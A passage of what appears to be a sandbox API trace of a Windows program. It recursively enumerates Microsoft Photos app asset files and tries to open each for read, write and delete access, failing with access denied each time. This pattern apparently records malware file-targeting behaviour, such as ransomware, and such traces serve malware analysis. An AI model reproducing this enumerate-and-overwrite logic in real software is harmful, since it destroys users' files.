	[0091.058] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.058] wcscmp (_String1="PhotosWideTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.058] wcscmp (_String1="PhotosWideTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2e02220
	[0091.058] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.058] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.058] wcscat (in: _Dest=0x2e02220, _Source="PhotosWideTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png"
	[0091.058] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-100.png")) returned 0x20
	[0091.058] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.058] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.058] GetLastError () returned 0x5
	[0091.058] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.058] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
	[0091.058] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.058] wcscmp (_String1="PhotosWideTile.scale-100.png", _String2=".") returned 1
	[0091.058] wcscmp (_String1="PhotosWideTile.scale-100.png", _String2="..") returned 1
	[0091.058] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4782d68
	[0091.058] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.058] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.058] wcscat (in: _Dest=0x4782d68, _Source="PhotosWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png"
	[0091.059] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.scale-100.png")) returned 0x20
	[0091.060] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.060] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoswidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.060] GetLastError () returned 0x5
	[0091.060] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.061] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosWideTile.scale-100.png", cAlternateFileName="")) returned 0
	[0091.061] FindClose (in: hFindFile=0x477afa8 | out: hFindFile=0x477afa8) returned 1
	[0091.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ce18) returned 1
	[0091.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d088) returned 1
	[0091.061] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0091.062] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f85922, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lumia.ViewerPlugin", cAlternateFileName="LUMIA~1.VIE")) returned 1
	[0091.062] wcscmp (_String1="Lumia.ViewerPlugin", _String2=".") returned 1
	[0091.062] wcscmp (_String1="Lumia.ViewerPlugin", _String2="..") returned 1
	[0091.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5028008
	[0091.062] wcscpy (in: _Dest=0x5028008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.062] wcscat (in: _Dest=0x5028008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.062] wcscat (in: _Dest=0x5028008, _Source="Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026a60
	[0091.062] wcscpy (in: _Dest=0x5026a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.062] wcscat (in: _Dest=0x5026a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\"
	[0091.062] wcscat (in: _Dest=0x5026a60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*"
	[0091.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0091.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f85922, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b3a8
	[0091.062] wcscmp (_String1=".", _String2=".") returned 0
	[0091.062] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f85922, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.062] wcscmp (_String1="..", _String2=".") returned 1
	[0091.062] wcscmp (_String1="..", _String2="..") returned 0
	[0091.062] FindNextFileW (in: hFindFile=0x477b3a8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb104434a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.062] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.062] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.062] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x4716ae0
	[0091.062] wcscpy (in: _Dest=0x4716ae0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin"
	[0091.062] wcscat (in: _Dest=0x4716ae0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\"
	[0091.062] wcscat (in: _Dest=0x4716ae0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x4782d68
	[0091.063] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.063] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.063] wcscat (in: _Dest=0x4782d68, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*"
	[0091.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d080
	[0091.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\*", lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb104434a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b0e8
	[0091.066] wcscmp (_String1=".", _String2=".") returned 0
	[0091.066] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb104434a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86e3b22e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.066] wcscmp (_String1="..", _String2=".") returned 1
	[0091.066] wcscmp (_String1="..", _String2="..") returned 0
	[0091.066] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.contrast-high_scale-100.png", cAlternateFileName="")) returned 1
	[0091.066] wcscmp (_String1="IconEditMoment.contrast-high_scale-100.png", _String2=".") returned 1
	[0091.066] wcscmp (_String1="IconEditMoment.contrast-high_scale-100.png", _String2="..") returned 1
	[0091.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e33c00
	[0091.066] wcscpy (in: _Dest=0x2e33c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.066] wcscat (in: _Dest=0x2e33c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.066] wcscat (in: _Dest=0x2e33c00, _Source="IconEditMoment.contrast-high_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png"
	[0091.066] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-high_scale-100.png")) returned 0x20
	[0091.066] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.066] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-high_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.066] GetLastError () returned 0x5
	[0091.066] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-high_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c00) returned 1
	[0091.066] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.066] wcscmp (_String1="IconEditMoment.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.067] wcscmp (_String1="IconEditMoment.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x160) returned 0x2e33930
	[0091.067] wcscpy (in: _Dest=0x2e33930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.067] wcscat (in: _Dest=0x2e33930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.067] wcscat (in: _Dest=0x2e33930, _Source="IconEditMoment.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png"
	[0091.067] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-white_scale-100.png")) returned 0x20
	[0091.067] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.067] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconeditmoment.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.067] GetLastError () returned 0x5
	[0091.067] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconEditMoment.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.067] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33930) returned 1
	[0091.067] FindNextFileW (in: hFindFile=0x477b0e8, lpFindFileData=0x502d080 | out: lpFindFileData=0x502d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86deed4d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86deed4d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconEditMoment.scale-100.png", cAlternateFileName="")) returned 1
	[0091.067] wcscmp (_String1="IconEditMoment.scale-100.png", _String2=".") returned 1
	[0091.067] wcscmp (_String1="IconEditMoment.scale-100.png", _String2="..") returned 1
	[0091.067] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x142) returned 0x2e020a8
